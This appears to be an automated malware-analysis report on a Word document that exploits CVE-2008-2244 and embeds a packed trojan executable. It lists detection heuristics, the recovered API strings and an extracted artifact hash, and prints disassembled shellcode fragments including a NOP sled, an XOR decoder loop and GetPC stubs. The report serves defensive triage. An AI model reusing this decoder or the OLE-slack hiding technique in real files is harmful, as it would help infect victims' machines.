MALICIOUS
500
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
The sample is a Microsoft Word document that exploits CVE-2008-2244, a vulnerability in record parsing. It contains an embedded PE executable, identified by ClamAV as Win.Trojan.Packed-74. The document body is heavily obfuscated and appears to contain shellcode-like structures, suggesting it's designed to download and execute a secondary payload.
Heuristics 11
-
CVE-2008-2244 — Microsoft Word record-parsing payload critical CVE likely CVE_2008_2244Word OLE document has normal small WordDocument/table streams, a large unallocated OLE slack region, and an executable or resolver shellcode payload in that slack. This is the static shape of the MS08-042 Word record-parsing exploit family tracked as CVE-2008-2244.
-
ClamAV: Win.Trojan.Packed-74 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Packed-74
-
Embedded PE executable critical OLE_EMBEDDED_EXEMZ/PE header found inside document — possible embedded executable
-
NOP sled detected high SC_NOP_SLEDFound 20+ consecutive 0x90 bytes
Disassembly
x86 disassembly · validity: uncertain (0.663) — no internal branches to corroborate control flow00001900 90 nop 00001901 90 nop 00001902 90 nop 00001903 90 nop 00001904 90 nop 00001905 90 nop 00001906 90 nop 00001907 90 nop 00001908 90 nop 00001909 90 nop 0000190A 90 nop 0000190B 90 nop 0000190C 90 nop 0000190D 90 nop 0000190E 90 nop 0000190F 90 nop 00001910 90 nop 00001911 90 nop 00001912 90 nop 00001913 90 nop 00001914 90 nop 00001915 90 nop 00001916 90 nop 00001917 90 nop 00001918 90 nop 00001919 90 nop 0000191A 90 nop 0000191B 90 nop 0000191C 90 nop 0000191D 90 nop 0000191E 90 nop 0000191F 90 nop 00001920 57 push edi 00001921 5b pop ebx 00001922 81ebf0150000 sub ebx, 0x15f0 00001928 8bd3 mov edx, ebx 0000192A 4a dec edx 0000192B 33c9 xor ecx, ecx 0000192D b9a7030000 mov ecx, 0x3a7 00001932 80340a98 xor byte ptr [edx + ecx], 0x98 00001936 e2fa loop 0x1932 00001938 19749899 sbb dword ptr [eax + ebx*4 - 0x67], esi 0000193C 98 cwde 0000193D 98 cwde 0000193E 13741b5d adc esi, dword ptr [ebx + ebx + 0x5d] 00001942 9c pushfd 00001943 1317 adc edx, dword ptr [edi] 00001945 50 push eax 00001946 9a989811d5c013 lcall 0x13c0, 0xd5119898 0000194D 17 pop ss 0000194E 209a989811d5 and byte ptr [edx - 0x2aee6768], bl 00001954 cc int3 00001955 195f40 sbb dword ptr [edi + 0x40], ebx 00001958 99 cdq 00001959 98 cwde 0000195A 98 cwde 0000195B 135711 adc edx, dword ptr [edi + 0x11] 0000195E d5f8 aad 0xf8
-
x86 GetPC stub (CALL $+5; POP EAX) high SC_GETPC_CALLx86 GetPC stub (CALL $+5; POP EAX)
Disassembly
x86 disassembly · validity: uncertain (0.5) — 8/8 branch targets land on an instruction boundary (100% coherence)00007EC2 e800000000 call 0x7ec7 00007EC7 58 pop eax 00007EC8 eb00 jmp 0x7eca 00007ECA 58 pop eax 00007ECB 50 push eax 00007ECC e800000000 call 0x7ed1 00007ED1 58 pop eax 00007ED2 0f8504362330 jne 0x3023b4dc 00007ED8 e800000000 call 0x7edd 00007EDD 83042405 add dword ptr [esp], 5 00007EE1 c3 ret 00007EE2 58 pop eax 00007EE3 50 push eax 00007EE4 58 pop eax 00007EE5 50 push eax 00007EE6 8078f56a cmp byte ptr [eax - 0xb], 0x6a 00007EEA 60 pushal 00007EEB 61 popal 00007EEC 94 xchg esp, eax 00007EED 94 xchg esp, eax 00007EEE 0f852d3f8145 jne 0x4581be21 00007EF4 6818604000 push 0x406018 00007EF9 91 xchg ecx, eax 00007EFA 91 xchg ecx, eax 00007EFB e800000000 call 0x7f00 00007F00 83042405 add dword ptr [esp], 5 00007F04 c3 ret 00007F05 90 nop 00007F06 e800000000 call 0x7f0b 00007F0B 58 pop eax 00007F0C 54 push esp 00007F0D 58 pop eax 00007F0E e800000000 call 0x7f13 00007F13 58 pop eax 00007F14 c3 ret 00007F15 68a9c04000 push 0x40c0a9 00007F1A e800000000 call 0x7f1f 00007F1F 83 .byte 0x83 00007F20 0424 add al, 0x24
-
Reference to LoadLibrary API high SC_STR_LOADLIBRARYReference to LoadLibrary API
-
Reference to GetProcAddress API high SC_STR_GETPROCADDRESSReference to GetProcAddress API
-
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 57,129 bytes but its declared streams total only 16,486 bytes — 40,643 bytes (71%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
-
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
-
Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECTReference to VirtualProtect API
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
embedded_office_00004c00.exe |
embedded-pe | Office MZ+PE at offset 0x4C00 | 37673 bytes |
SHA-256: 1a01b46ddf86fdd371b250763a42abc1ee8927c08b94f0115ebee7a942f77dfc |
|||
|
Detection
ClamAV:
Win.Trojan.Packed-74
Obfuscation or payload:
likely
Static shellcode analysis found candidate code region(s). Indicators: SC_STR_LOADLIBRARY, SC_GETPC_CALL, SC_GETPC_CALL Static shellcode analysis recovered API/import strings: kernel32.dll, KERNEL32.DLL, LoadLibraryA, GetProcAddress, VirtualAlloc, VirtualProtect
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.